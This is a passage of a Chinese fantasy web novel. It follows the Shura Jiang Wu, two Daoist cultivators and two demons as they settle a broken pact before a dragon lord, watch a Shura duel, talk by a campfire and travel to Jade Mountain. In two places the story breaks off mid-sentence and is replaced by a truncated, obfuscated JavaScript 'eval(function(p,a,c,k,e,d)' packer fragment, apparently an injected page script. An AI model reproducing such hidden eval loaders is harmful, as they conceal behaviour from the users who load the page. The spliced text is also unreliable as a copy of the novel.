“什么?这是何事发生的事情?我一点都不记得了。”商扶庭蹙眉,“但是,此事的初始是雾沅与寂满私离大荒,违反约定,屠杀闻香镇李家上下几十口人在先。” 老龙偏头看着姜芜,“看来当时濯濯也在场?” 姜芜轻笑了一声,她抬眸去看老龙,“我现在有个新名字,叫姜芜,我更喜欢你叫我这个名字,过去的名字休要再提了。” “姜芜?”老龙垂眸,琢磨了片刻这个人类的名字,复而想起前几日睢羲的神态,随即了然一笑,“做了成千上万年的修罗,现在改换口味想做人了?” 姜芜面上笑意不变,“今日主要之事,应该不是我们叙旧。他们还要等着主持公道呢,你若是偏心,有人可是要不依不挠的,毕竟我可是费了不少力气才将人带到大荒来。” 老龙故作为难地说:“这件事我也有所耳闻,闻香镇李家先大肆屠杀霰雪蝶一族在先,雾沅不过为族人报仇,此事何解?” 沈确握紧了手中的太阿剑,“大荒与曾与太初道尊签订契约,大妖不得离开大荒,即便是小妖能离开大荒,也不得在人族领地做出伤害人族的事情,是蝶妖违约在先。” 老龙静静地听完沈确的控诉,面不改色地捏碎了手中的茶杯,“几百年前的契约......” 老龙冷笑了一声,随即面色狠厉地欺身至沈确面前,长衡山五行道宗特有的封印符文出现在他的四肢和脖颈上,将老龙死死地束缚在距离沈确一步远的位置处。 “你们人族凭借着这不公的契约,肆意进入大荒猎杀妖族,用以炼器售卖,大荒神树所产生的灵气通通流往了人界,害得大荒草木渐枯,妖兽弱小难以化形,这桩桩件件,你们妖族又该怎样还?” 沈确震惊地看着突然袭来的老龙,后知后觉的恐惧爬上了她的后背,她的呼吸开始急促了起来。 商扶庭上前将沈确挡在了身后,“妖尊,事情不是这么论的,既然您当年签订了这个契约必定是觉得有利可图,您不能在当下的利益走到尽头时,去批判当年契约的不对。既然如此,您当时又为何要签呢?我认为凭借当时大荒妖族的鼎盛时期,碾压如蝼蚁般的人族,绰绰有余。” 老龙神情愤怒地盯着商扶庭,双眸赤红似要泣血,一字一顿的模样仿佛要将商扶庭吞吃入腹。 “因为段怀野是个彻头彻尾的骗子!” 商扶庭垂眸,他轻笑了一声,“契约的初始,大家都想为自己谋福利,妖尊您技不如人而已。” “荒唐!” 老龙怒吼一声,周身妖力迸发将两人撞飞。 商扶庭和沈确撞到了洞穴内的石壁上,一时之间难以起身。 老龙深深地吸了一口气,他居高临下地看着商扶庭和沈确,神情淡漠如冰,“区区金丹而已,羸弱如蜉蝣。” 姜芜抿了口茶水,压下了口中的血腥。 老龙转身预备回至石桌旁,突然看向了一旁的寂满,抬手的瞬间,寂满便扑到了雾沅的身前。 “父亲,求求您,别杀他!是我带他出大荒的,要杀您就杀我好了!” 老龙看着寂满,最终只是缓慢地将手放到了寂满的头上,“你是怎么带他出去的?” 寂满吸了吸鼻涕,他合着双眸,加快了语速,他怕在父亲捏爆他的头颅之前他还有话未说完。 “我知道我技不如人,修为上比不得几位哥哥,每日只知晓不务正业地研究一些小玩意,破开封印之门只是一个意外。”寂满说,“千错万错都是我的错,雾沅已经很可怜了。求求您,放过他吧。” 雾沅摇头,“不,此事皆因我而起,跟寂满没有关系。” 老龙松开了手,他看向坐在石桌旁饮茶的姜芜,轻声道:“谢谢。” 姜芜微笑,“举手之劳。” 老龙负手走至石桌旁坐好,他轻轻地叹了一口气,“霰雪蝶一族,未修炼成妖时随仙霰雪而生,花落时又随仙霰雪而死,然而偌大的妖界已经没有仙霰雪的痕迹。就像人类的迁徙一样,它们离开了大荒前往人界寻找仙霰雪,毕竟是大荒生长的妖物,自然同普通蝴蝶有所区别。人类贪婪,动了邪欲之心,捕其售卖,行为可恶。但雾沅、寂满的行为又与人类无异,此事,无解。” 商扶庭沉思了片刻,他扶着沈确站了起来,“妖尊意欲如何?” 老龙看了一眼雾沅,“既然他大仇得报,又是双方都有错的前提,不如让他们戴罪立功,陪你们找寻圣物如何?且不说大荒炎天地难进,颙鸟精火蕴含于大妖颙鸟内丹之中,你们杀得了万年大妖取得了内丹吗?即便是你们有幸取得,天河之水仅凭你们二人必然是寻不得的,那五彩石千年来更是闻所未闻,而且你们只要踏入无幻之境,就会被里面的修罗撕成碎片。” 老龙将目光转移到姜芜脸上,最后将杯中凉透的茶水一饮而尽。 “我觉得没有比这更好的办法了,毕竟霰雪蝶一族所剩无几,若是再重判,怕是要灭族啊。” 商扶庭颔首,“那就按妖尊所说,不过妖尊如何保证这一路上寂满和雾沅没有异心?” 老龙说:“只要有姜芜在,他们是无论如何都不会有二心的。” 商扶庭将目光放到了姜芜身上,“但是我不信她。” “哦?”老龙饶有兴趣地去看姜芜,故作为难地说:“他们居然不信你,怎么办呢?濯濯,这似乎是一件很令人苦恼的事情。” 姜芜放下茶杯,笑着问道:“有多苦恼?” “我觉得比我这几年吃得修士还要多。”老龙勾唇,“小道士,你有什么好的想法吗?” 商扶庭刚要开口便被老龙抬手打断。 “不过,你的想法不重要,你现在只能相信濯濯,明白吗?”老龙说,“没有濯濯,即便是寂满和雾沅跟你们取到了颙鸟精火,你们也进不去无幻之境,取不到天河之水。” 商扶庭盯着老龙思忖了片刻,随后说:“可以,但是姜芜必须将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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寂满闻声,立刻说:“先说好,我们妖族是不会自相残杀的,我们可以一同前南荒炎火之山,但是火鼠我们是不会斩杀的,况且颙鸟可是大妖,天生地长,可不能与一般小妖想比拟,我和雾沅根本不够它塞牙缝的。” 老龙有些为难地沉吟了片刻,随后看着姜芜说:“这可就难办了啊,他们两个只是金丹期的修士啊,取得火鼠皮毛已经是为难,可这颙鸟精火该如何是好?” 商扶庭面上浮现出一丝不悦,“这就不劳烦妖尊挂心了,我们自有办法。” 老龙挑眉,“后生可畏啊,时间不早了,我让花精带你们去休息。” 昆仑平原,一棵巨树拔地而起,直冲天际,莹莹绿光围绕于其中,灵气充沛。 小花精提着萤火虫组成的灯笼,蹦蹦跳跳地在前面带路。 “到了,前面就是树屋了。” 小花精长得娇小可爱,不足半人高的身量穿着一件桃花色的裙子,两条小辫子随着她的动作一翘一翘的。 寂满估摸着离开了老龙的听力范围,快步上前将小花精抱在了怀中,“花花,这么长时间没见,你怎么还这么矮啊。” 小花精闻言,气鼓鼓地瞪着寂满,“阿满你又欺负我,你明明知道草木妖修行慢,而且你走了也没有多久啊,我怎么可能突然变成大人。” 姜芜仰头看了一眼挂在巨树上的树屋,随手召来散落在附近的干枝杂草点燃,“你们聊。”说完,她便选择了一间树屋,飞身而上。 商扶庭和沈确也前后进了不同的树屋,只剩下寂满、雾沅、小花精三只妖怪在火堆旁谈论着人间的趣闻。 树屋内的陈列非常的简洁,只放了桌子、木施和床榻,只是高度有些矮,所有人都要弯着腰进门。 商扶庭进入树屋之后,简略地叙述了近几日发生的事情,传讯回了五行道宗。 姜芜将身上的大氅脱下挂在木施上,坐在床边梳理着自己长发,接着便听到了敲门声,她放下梳子前去开门。 “我有个问题想向你求证。” 10. 情感 姜芜挑眉,她看着一脸不知所措的商扶庭,微笑着说:“稀奇,你居然也会想请教我问题。” 商扶庭抿唇,“你不愿意回答就算了。”说完,他便转身欲走。 “没说不回答,到树冠上吧,那边视野比较开阔。”说完,姜芜便瞬间移动到了树冠之上。 巨树之上,明月悬挂,天风四起,远处是层峦叠嶂的大荒山脉。空旷的昆仑平原上,一望无际,月光似轻纱,薄拢着肆虐的黄沙。 商扶庭抬头看了一眼,随后挽起袖口缓慢地爬了上去。 “你真的很慢哦。” 商扶庭抬头擦了一把额头上的热汗,抬眸看便看到姜芜站在不远处,一头乌黑的长发垂落,又被夜风毫无防备地吹起,月华落在上面,仿佛轻盈的头纱。 “不是所有人都像你一样,随意能去想去的地方。” 商扶庭垂眸,然后攀着树枝跃了上去。 姜芜抬手将自己的氅衣幻了出来,展开后披在了肩上,“你想问什么?” 商扶庭舔了舔嘴唇,声音细如蚊讷,“王小姐真的是我杀的吗?” “嗯?”姜芜轻笑了一声,“小道士,你没有杀过人吗?为何这么问?杀了就杀了,为何还要念念不忘?” “你!简直不可理喻!”商扶庭气极,“那可是一条活生生的人命,怎可如此轻贱?而且王小姐还是一个手无缚鸡之力的弱女子。或许弱肉强食是你们修罗一族的天性,但是在我们人族的眼里,强大是为了能够更好的保护弱小。” 姜芜面上笑容不变,“那可不一定,她明明知晓自己是凡人,雾沅是一只千年大妖,但是她依旧扑了上去,用自己的凡人之躯抵挡你的致命一剑,这是为何呢?” 商扶庭说:“那是因为那只蝶妖寄生在李公子身上,而李公子是王小姐的心爱之人。” 姜芜垂眸静静地看着商扶庭。 “你为何不语?一直盯着我看做甚?”商扶庭被姜芜盯得有些不自在,“难道我说错了吗?事实不是如此吗?” 姜芜挑眉,“当然不是,你准备杀雾沅的时候,他已经从李公子身体中出来了,而王小姐救得就是雾沅。” “为何?”商扶庭怔愣,他起身看着姜芜,“王小姐分明告诉我,她心悦之人是李公子啊......” 姜芜长舒了一口气,笑容带了一丝苦涩,“感情这件事情很复杂,从一而终的感情又少之又少,世人要求感情纯洁忠诚,但又无法控制自己在不同的时间爱上不同的人。人心有七窍,生来就通晓七情六欲,但是妖不同,七情六欲是他们所要修行的。王小姐懂的,雾沅未必懂,你年纪小,也未必懂。” 一阵微弱的风从姜芜的耳畔吹过,轻轻地抚乱了她的长发,吹至商扶庭的脸上,像一支轻柔的羽毛刷子,扫过他的侧脸。 商扶庭眨了眨眼,他心情慌乱地后退了一步,离姜芜远了一些,伸手抚了一下脸上并不存在的长发。 商扶庭追问道:“你们修罗一族也不懂吗?” “不想懂,七情六欲是束缚,我们生性爱自由。”姜芜说,“所以,其中的缘由我回答不了你,若是真想知道,还是问一下雾沅比较好。” “知晓了。” 商扶庭点了点头,随后便准备往树冠下走去。 “商扶庭。” 姜芜开口道。 “进入雾沅的梦境中,你看到了什么?或者太初剑为何认你为主,你的山门有没有对你隐瞒什么?又或者,你们的山门有没有请神上身的术法?” 商扶庭眉心一蹙,神情不悦地说:“隐瞒?你什么意思?是在挑拨我和师门的关系吗?师门抚养我长大,不会害我的。至于请神上身,除了护山大阵,更是闻所未闻。况且,护山大阵只能在长衡山施展。” 姜芜无奈地一笑,她摇了摇头说:“没事了,你先下去吧。” 商扶庭面色有些凝重,“夜晚风凉。”说完,他便顺着树干爬了下去。 姜芜深深地吸了一口气,顺着迎面而来的风后仰倒下,睢羲在她的身后出现,随着她的力道将她抱在了怀中。 “夜间风凉。” 姜芜不以为然地说:“怕什么,我又不会轻易生病。” 睢羲垂下头,轻轻地蹭了蹭姜芜的侧脸,见后者没有过激的反应后又凑上前的几分,闭眼感受着她的呼吸,“但是你会难受,濯濯,我错了,跟我回家吧。” 姜芜偏过头远离睢羲,神情淡漠地说:“不需要跟我道歉,为何要吹乱我的头发?” 睢羲抱紧了姜芜,顺着她偏头的力道埋入她的颈窝中,“我那是要吹乱你的头发吗?我那是要赶他走,你要怎样才肯跟我回家?” “睢羲,我不会再回去了。”说完,姜芜推开睢羲,整理着氅衣站了起来。 睢羲起身,不解地看着姜芜,“为何?就因为我杀了段怀野?” 姜芜避而不答,“妖界灵气旺盛,不利于你的伤。睢羲,回去吧,回无幻之境去。” “你不会回去,要我回去做甚?”睢羲的脸上浮现出了一丝的愠色,“濯濯,你明知道这伤不会痊愈。” 姜芜合上了双眸,随即她手上凝结出黑红色的戾气,直冲睢羲而去,“下去打,不要毁坏这里的树屋。” 商扶庭从巨树上跳了下来,稳步朝着寂满和雾沅走了过去。 寂满看到商扶庭的那一刻,好心情瞬间跌到了谷底,“你来做什么?我们的围炉夜话可不欢迎你这臭道士。” 商扶庭并没有搭理寂满,目光一直放在雾沅身上,“蝶妖,我想知晓王小姐为何会护你。” 寂满抱着怀中昏昏欲睡的小花精,正准备对商扶庭冷嘲热讽,却被怀中突然尖叫的小花精吓了一跳。 随后,几人便看到两道凶煞的戾气从天而降,罡风顿时扑灭的燃得正旺的篝火。 “什么情况?!” 寂满护着怀中的小花精起身,一脸震惊地看着两道戾气落地的位置。 身着玄色长袍的睢羲从烈焰般的黑色戾气中踏出,面色阴沉地看着对面的姜芜。 商扶庭持剑警惕,他看着不远处的睢羲,不解地问道:“他是谁?” 雾沅看了一眼姜芜,不确信地说:“他应该是......睢羲。” “睢羲?”商扶庭不解地看着雾沅,“也是修罗?” 雾沅颔首,“是。” 姜芜一脚踏起,黑红色的戾气裹挟着黄沙直扑睢羲。 两人的招式碰撞在一起,天地之间,风云骤变,狂风肆虐。 小花精尖叫着缩进了寂满的怀中。 寂满抬手为自己和小花精挡住风沙,神情不满地吼道:“他们这是要做什么?准备毁了这里吗?” 雾沅抬手掐诀,为四人撑起了结界,“他们两个之间,我们根本无法插手,只能自保。” 商扶庭感受到突然停滞了沙风,随即便看到了面前的结界,脸上闪过一丝惊讶,看向雾沅的神情有些复杂。 姜芜手下没有丝毫的留情,一招一式杀力十足。 “濯濯,你不是知晓我的致命伤在何处吗?完全可以杀了我!无需如此戏弄我。” 睢羲趁机攥住姜芜的双臂,却又被她周身的戾气震开,他后退几步,眼神中充满了怨恨与不解。 姜芜面色狠厉,她不言不语地双手掐诀,黑红色的戾气大盛。 睢羲见状,抬手召唤出一条骨鞭朝着姜芜甩去。 姜芜蹙眉,掐诀的双手翻飞出残影。 两股不同的戾气撞击在一起,发出强烈的轰鸣声。 姜芜侧脸被骨鞭的尖端划破,她掐诀的手势停了下来,有些难以置信地伸手沾了一下伤口中流出的鲜血。 睢羲眉心狠狠地一跳,也跟着停下了动作,试图伸出手替姜芜疗伤,随即便被后者一掌拍在了胸口的位置。 姜芜神情冰冷地看着睢羲,缓缓地收起了周身的戾气。 睢羲后退几步,将骨鞭变化成长刀,支撑柱自己摇摇欲坠的身体,片刻后他喷出了一口鲜血。 “濯濯!你够狠。” 睢羲抬手擦掉了唇角残留的血迹,随即戾气一裹便抽身离去。 姜芜站在原地平息了一番自己的心绪,然后才转身朝着四人走去,她重新燃起火堆,脸上笑意浅浅,“今晚让各位受惊了,我请你们喝酒,这可是天都最有名的酒,江心月。” 姜芜说完便从腰间的纳袋中取出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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雾沅试探地问道:“你们之间真的没有回旋的余地了吗?我不是好奇,只是大荒九大神木枯萎在即,灵气消失殆尽,修真界将不复存在,彼时我们也会大为削弱,必定会面临灭族之灾,势必要与人族争一片生存之地,到时戾气盛行,我们两族联手,未尝不可。” 姜芜晃着手中的酒坛,伸手从纳袋中取出一支裹着糯米纸的糖葫芦,“小花精?” 寂满顿时瞪大了双眸,“糖葫芦?!” 原本昏昏欲睡的小花精顿时有了精神,一双杏仁眼流光溢彩,她伸出两只小手去接姜芜递过来的糖葫芦,“谢谢姐姐。” 姜芜见寂满一副欲言又止的模样,无奈地一笑,又从纳袋中取了一支糖葫芦递给寂满,“小孩子要诚实一些,想要就是想要,不想要就是不想要,为何想要还要表现出一副不想要的模样?” 寂满接过糖葫芦,将上面的糖风咬得咯吱作响,“哼,我才不是什么小孩子呢。” 姜芜看向一旁的雾沅,“你也要吗?” 雾沅笑着摇了摇头,抬手晃了晃手中的酒坛,“这个就足够了。” “我们之间有回旋的余地,只是我不愿意修复同他的关系而已。”姜芜看着雾沅说,“你如果想知道这个故事,总要先拿你的故事来交换,比如你和王小姐的事情。” 雾沅蹙眉,一双含情的桃花眸氤氲上了一层水汽,连同眉眼间的妖纹也跟着暗淡了几分,“我同王小姐之间,我只是有些不懂。但是,你同睢羲相伴千万年,知根知底,不能够为了仅相识百年不足的段怀野而闹得如此之僵,甚至到了你死我活的地步。” 姜芜低笑出声,“妖和人总归是不同的,你们费尽心思生出灵智,修出人身,去到人间走一走,便被生命不过数载的人类感情绊住了脚步,生老病死,爱恨离别,求而不得,得而不愿,这些感情交织在一起,撕扯着神志,令人类作茧自缚,痛苦而无法自拔。雾沅,蝴蝶一族本就亲近人类,你开始思考这些,就说明你变得越来越像人了。而我也越来越像人了,跟段怀野学的。” 寂满听着姜芜的这通长篇大论,只觉得无聊透顶,忍不住哈欠连天,索性将手中的木棍扔进了火堆中,抱着小花精沉沉地睡去。 雾沅问道:“濯漪,你又因何作茧自缚呢?” 11. 昔日 姜芜垂眸,神情中生出了几分没有来的落魄,她声音飘渺,“求而不得罢了,不像你不求便得到了,对你而言却是得而不愿。” 雾沅声音低沉地一笑,“我同王小姐吗?” 姜芜将酒坛扔到了靠近火堆的地方,仰头去看大荒的漫天星河,氅衣顺着她的动作滑落下来,索性便仰面躺了下来。 “你是何时寄生李公子的?” 雾沅扔了几块干柴到火堆中,让火焰更旺了些,橘色的光芒映着他漂亮的容颜,再温暖光亮也驱散不了上面淡淡的哀愁。 “自从他出生之时,我便寄生于他的身上,同王小姐相伴长大。” 姜芜发觉身下的沙地有些抖动,偏头便看到了持剑而来的商扶庭。 商扶庭对上姜芜的视线,立刻慌乱地移开,面上浮现出一丝窘迫,“我只是来理清楚雾沅、王小姐和李公子之间的事情。” 姜芜微微一笑,她将氅衣往自己身上一裹,转身背对着二人,“那二位继续,我先睡了,明天见。” 雾沅将火堆旁的酒坛递给了商扶庭,开口对姜芜说:“不回树屋睡吗?” “我比较喜欢幕天席地。” 商扶庭看了一眼雾沅递过来的酒坛,摆手拒绝道:“我不会喝酒。” 雾沅说:“可以试试,这可是天都最有名的江心月,酿酒的女子是位美人,这酒每日限量,千金难求。” 商扶庭接过酒坛,揭开泥封之后试探地喝了一口,顿时被辛辣的酒液呛得直咳嗽。 雾沅笑着伸手抚了抚他的后背,“第一次喝不要太大口,可以微微一抿。” 商扶庭低头擦了擦唇上的酒液,“方才多谢你了,如果不是你的结界,以我的修为怕是要被波及。” 雾沅面上闪过一丝惊讶,“你?” 商扶庭偏过头,“一码归一码。” “知晓了。”雾沅轻笑,“商公子,也是个心软心善之人。” 商扶庭神情不自然地摸了摸自己的耳朵,“还是说说你跟王小姐的事情吧,她曾经跟我说过,李公子时而温和、时而暴戾,莫非性格温和的李公子并非真正的李公子,而是你?” 雾沅哑然,他盯着火堆看了片刻,片刻后他幽幽地叹了一息,“大抵是吧。” 商扶庭蹙眉,“大抵是何意?是便是,不是便不是。” 雾沅如实道:“二十年前,我也曾意外被李家捕去,耗费了近千年的修为才侥幸逃脱,但是我元气大伤,不得已才寄生在李家刚出世的小儿郎身上修养。” 商扶庭一脸的难以置信,“你可是千年大妖,怎么会被区区地凡人捕住?” 雾沅垂眸,面上却是掩盖不住地失落,他仰头灌了一口酒,“我们霰雪蝶一族,天生灵力低微,原本是不能修行的,即便是我活了近万年,修为同千年精怪并无太大区别。如若不是一次机缘,我恐怕是活不到现在。再者,那李家似乎有专门针对妖怪的阵法,只是不小心陷入进去,便会法力全失。李公子长大后,我便开始借助他的身体活动在李家寻找那个阵法的来源,但是依旧没有头绪。我不能太久的占据李公子的身体,这样会引起别人的怀疑。” 商扶庭问道:“所以,王小姐是否知晓你的存在。” “对此,我并不知晓。”雾沅说,“这个捕妖阵法非常的奇怪,但凡是它所造成的伤害都无法愈合,只能经年累月的背负着久久不灭的伤痛。” 商扶庭蹙眉,他觉得自己接近了事情的真相,试探地问出口,“你的伤可是在翅膀上?” 雾沅面上闪过一丝惊讶,“商公子,又是从何而知?” 商扶庭嗤笑了一声,他从幼时也听说过人妖之间的禁忌之恋,无非便是其中一方贪图美色,勾引无知的另一方共沉沦,上演令人泣涕涟涟的爱情故事,最终的结果都逃不过天谴,即便是侥幸也避不开时间的无情。 但是今日,商扶庭看到了另一种结果,他不知道该笑雾沅愚钝,还是笑王小姐情深错负,最终不过是因为他而导致了一场极致的阴差阳错。 “蝶妖,你懂人的感情吗?” 雾沅蹙眉,“夫妻恩爱为情、兄友弟恭为情、寸草春晖为情、舔犊情深亦然,不知商公子问的是哪种?” 商扶庭怔愣了片刻,随后摇了摇头说:“我也不清楚,我只知道她知晓你是谁,也知晓自己心悦的是谁,并认为李公子是你,她曾怀疑,曾认为她对你的感情像是冬日绽放的仙霰雪,如幻似真,如梦似烟,恍若庄周梦蝶。” 雾沅依旧不解,“商公子,可否进一步解释清楚?我还是不懂。” 商扶庭低头喝了一口酒,叹息之时将心中的苦闷也一同散了出去,“王小姐最后有没有对你说过什么?” 雾沅如实道:“她说真好。” 商扶庭笑着摇了摇头,连声说着真好,不仅感叹王小姐最终识得心上人,也感叹雾沅不懂其中的情深意切,这样他漫长的生命中就不会因为愈合了身上的伤痕,而徒留难以愈合的心痕,反反复复,寻寻觅觅,一直活在春月初的仙霰雪中,无法摆脱。 商扶庭在雾沅震惊的目光中起身,随后他半跪下来,用太初剑抵着地面,“是我的不是,是我杀死了王小姐,我欠她一条命。她本应该怀揣着对未来美好的憧憬,嫁给李公子,嫁给你的。但是,所有的事情一码归一码,杀害闻香镇无辜百姓是你的错。” “我不会娶她的。”雾沅摇了摇头,“至于闻香镇一事,你们人类讲求一人做事一人当,等帮你们找齐圣物,我会散去这一身的修为化作普通蝴蝶当作赎罪。” “那都不重要了。”商扶庭低声一笑,准备起身回树屋。 “对了,睢羲,到底是何人?” 雾沅听到商扶庭的声音怔愣一瞬,随后才转身朝他望去,只见后者背对着他,除了停驻的脚步仿佛刚才的问题并不是出自他之口。 声音轻飘飘的,轻而易举就能消散在空中。 “睢羲?”雾沅如实道,“我并不知道他是何人,他神秘又强大,我对他的了解仅限于在姜芜身上。姜芜不说,谁也不会知晓他。” 商扶庭想起姜芜在树冠之上的疑问,又想起自己入道后的种种,最终还是觉得原因出在闻香镇上。 “那日在李家,我被你击倒后发生了何事?” 雾沅回忆了片刻,神情有些震惊地问道:“你不记得了吗?” 商扶庭面无表情地说:“我只记得我的噩梦。” 雾沅面色沉了下来,“你似乎变了一个人,银发银瞳,能驱动太初剑和太阿剑,修为大增,能轻而易举地靠近姜芜,并且用太初剑伤了她,即便如此她还是愿意进入你的噩梦,将你带出泥沼,很奇怪。” 商扶庭垂眸,余光看了一眼裹着氅衣陷在沙地中的姜芜,随后持着太初剑回了树屋。 姜芜听着他逐渐走远的脚步声,然后合上了双眸,沉沉地进入了梦乡。 她是不会做梦的,她从来都是一夜好眠,但是今日似乎是王小姐的故事,勾出了她心底的一丝往事。 濯漪坐在树下整理着从人间带回来的一些小玩意,看着满满的一布袋脆梨,按捺不住地摸了一个出来咬了几口,感慨道:“人间的梨子跟我在无幻之境里种出来的梨子就是不一样,这里的梨子又大又甜。” 睢羲看了一眼濯漪,解释道:“那是因为无幻之境里不适合人类的种植技术,而且这里的土壤也不适合植物生长。” 濯漪从布袋里取了一只梨子往衣服上擦了几下,起身递给了靠在树上的睢羲,笑着说:“你尝尝?” 睢羲兴致缺缺地说:“我并不是很想吃。” 濯漪收敛了笑容,无奈地撇了撇嘴,然后她拿着梨子爬到了树上。 “怎么了?感觉你不太高兴的样子。” 濯漪凑到睢羲身旁,用冰凉的梨子贴了贴他的脸颊,然后用小刀将梨子分开,“少吃一点?这个梨子可甜了,不吃的话太可惜了。” “没事,只是有些乏了。”说完,睢羲伸手接过了濯漪递过来的梨。 濯漪开心地笑了起来,抬手招来从人间带回来的发链,仔细地编进睢羲的长发之中。 自濯漪有意识以来,经常能够看到睢羲端坐在这棵巨树之上,他沉默着,明明无所不能,却像是一块等待在原地的巨石,戾气在他的周身旋转着,陪他看着日升月灭,潮涨潮落,风吹、雨打甚至是时间都不能在 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濯漪闭着眼睛在睢羲的怀中待了片刻,随后迎着后者诧异的目光起身,“我刚刚想了几种可能。” “什么?” “你总不能因为我吃太多而生气。”濯漪环着睢羲的脖颈,手指轻柔地挠着他的后颈,“是不是因为我用戾气救助了那几只妖怪?” 睢羲伸手将别了一下濯漪的碎发,“为何要在意我的情绪?” 濯漪讶然,轻声说:“不在意你的话,我还要在意谁?我不想你不开心,虽然戾气不灭,修罗不死,但是我也会想将来有一天你会不会离开。” 睢羲伸手将濯漪按进了怀中,轻轻地拍着她的后背,“濯濯,你思虑得过多了,我不会离开的。” “我以后也不会随便给别人戾气了。” 天光熹微,冷风平地而起。 姜芜的意识逐渐清醒,她合着双眸回味着方才的梦境,片刻后她裹着氅衣坐了起来,施法点燃了熄灭的火堆,企图模拟出梦中的温度。 “你醒了,昨夜睡得还好?” 姜芜一动,雾沅便清醒了过来,他看了一眼还在熟睡的寂满和小花精,抬眸对姜芜说:“我们今日一路向南,夜晚在丹穴山过夜,第二日再东行两千多里便能到达令丘山。” “颙鸟先不急,先去炎火之山的不烬木林处斩杀火鼠。”姜芜起身抻个懒腰,“这沙地睡得太不舒服了,时辰还早,我再回树屋睡回。” “姜芜,你的故事还没说。” 姜芜微笑,她转身看着雾沅,正准备开口说什么,商扶庭和沈确便从巨树上跃了下来。 “时间紧迫,我们要尽快赶路。” 姜芜挑眉,伸手理了一下有些凌乱的长发,“总归要给我些时间梳洗吧,再说还有人没醒呢。” 商扶庭垂眸避开姜芜的视线,“就一盏茶的时间。” 姜芜勾唇,“足够了。” 姜芜离开树屋的时候带下来了两只香囊,她用食指勾着上面的线绳,“驱妖香,带在身上才不会给我们招惹麻烦,两个金丹期的修士在大荒内可是行走的大补之物。” 沈确有些诧异地看着姜芜,随后接过了那两只香囊,同商扶庭一起挂在了腰间。 今日清晨,商扶庭曾经找沈确谈过姜芜的事情,希望她能暂且放下对修罗的芥蒂,以大局为重,当前的重中之重是找到圣物修复无幻之境。 沈确对此并没有太多的意见,只是有些担心商扶庭,毕竟他与修罗是血仇。 姜芜今日换了件轻薄的衣裳,中衣是流光溢彩的鲛人织绡,绣纹繁冗的霭色外袍外依旧披着孟极皮毛做成的氅衣,长发用一支玉簪在脑后简单地一挽。 商扶庭看着手中的牛皮地图,规划着今日的路线,“炎火之山自此往西北二千七百里,御剑飞行半日可抵达,不过要跨越若水,且中途我们需要休息几个时辰,我和沈确的修为不足以支撑太久的御剑。” 姜芜看了一眼寂满和雾沅,“其实他们都能化作原型载飞,只要......” 商扶庭开口打断了姜芜。 12. 不死树 商扶庭回绝道:“不用了,这是我们五行道宗的事情,不需要别人帮忙。再者,对于弱水我们还要商讨对策,宗门内的藏书阁曾记载弱水有毒,会在河域上方形成毒障,鹅毛不浮,妖仙难渡,为了节省时间,如果你们有最佳方法,还希望不要对我们有所隐瞒。” 雾沅说:“弱水两岸,寸草不生,禽兽不过,但到时找弱水水神谈一谈,也未尝不可。” “我是一点也不了解,那个地方,谁没事会去那里啊,没有什么好玩的。”寂满突然捶了一下自己的手心,“不过,我倒是有个好办法。我三哥同弱水水神可是好友,可以去找他聊一聊弱水水神的喜好,到时候我们可以投其所好,只是渡一下弱水而已,相信他应该不会为难我们的。” 商扶庭神情诚恳地说:“如果你们愿意帮忙的话,那再好不过了。不过,你三哥在何处?” 寂满撇了撇嘴,神情有些低落,“我三哥嘲风在西王母那里看守不死树。” 商扶庭抬手抱拳,“寂满兄弟,那就麻烦你带路了。” 姜芜毫不意外商扶庭的回答,她耸了耸肩膀,“好吧,事不宜迟,我们就出发吧。” 寂满撇了撇嘴,偏过头对雾沅说:“谁要跟他称兄道弟。” “既然如此,去拜见西王母,相应的礼数还是要有的。”雾沅面色流露出一丝的为难,“只不过我们都是一些低等的小妖,怕是没有资格给西王母送拜贴。” 姜芜见所有人都将目光放到了自己的身上,她微微挑了一下眉毛,目光流转,看向了寂满,“探亲也不可以吗?” 寂满的脸色突然变得有些难看,他双唇颤动,嚅嗫了片刻,没有说出一句话。 姜芜无奈地叹了一息,手腕翻转,一封赤火鎏金色的拜帖出现在了她的手中,“走吧。” 【玉山】 昆仑山往西三百五十里便是西王母的居所,名为玉山,不死树便生长于玉山之上。 玉山荒凉,并没有琼楼玉宇,半山腰处有一只硕大的洞穴,里面引水成泉,各处摆放着简易的生活用品,以及随处可见的兽皮。 几只三鶄鸟在水池中梳理着自己的羽毛,顺便清洗其中的灰尘,见有人前来,其中一只率先化成一只穿着青色衣裳的小童。 “哟,这不是小寂满吗?今儿怎么有空过来了?西王母今日不在,你们怕是要跑空了。” 三鶄鸟化形并不完全,只是化出了人面人身,手脚还是鸟类的双翼和利爪,它煽动翅膀,吹拂着寂满的碎发,语气中充满了轻佻。 寂满慌忙推开了它,神情大惊,“你做什么啊,都把我的头发吹乱了,西王母既然不在的话,那我们自己去后山找我三哥吧。” 三鶄鸟闻言,一改之前的戏谑变得有些无奈,双眸中划过一丝悲伤,“虽然约定的是任何人不能靠近,但是他最近状态不是很好,你想去便去吧。” 寂满大惊失色,立刻化作一条黑色蛟龙,快速往后山奔去。 雾沅三人也紧紧地跟了上去。 三鶄鸟看着几人相继离开的方向,无奈地摇了摇头,这时才发现站在不远处的姜芜,它挥动着翅膀上前,有些好奇地围着后者转了几圈。 “你似乎有些奇怪,我乃西王母的取食鸟,万事万物皆逃不过我的眼睛和鼻子。”三鶄鸟停顿了片刻,预备再上前确认姜芜的身份,“但是你,我似乎认不得,毕竟我还没有见过这个世上有哪个种族身上同时具有戾气和灵气的,这两种气体同时存在于身体里,你不痛吗?” 姜芜伸手捉住三鶄鸟的利爪,然后将它往旁边一掷,“小家伙,你多嘴了。方才听你的意思,嘲风是被禁锢在玉山不死树上了吗?为何他离不开这里?又为何寂满不能见他?” 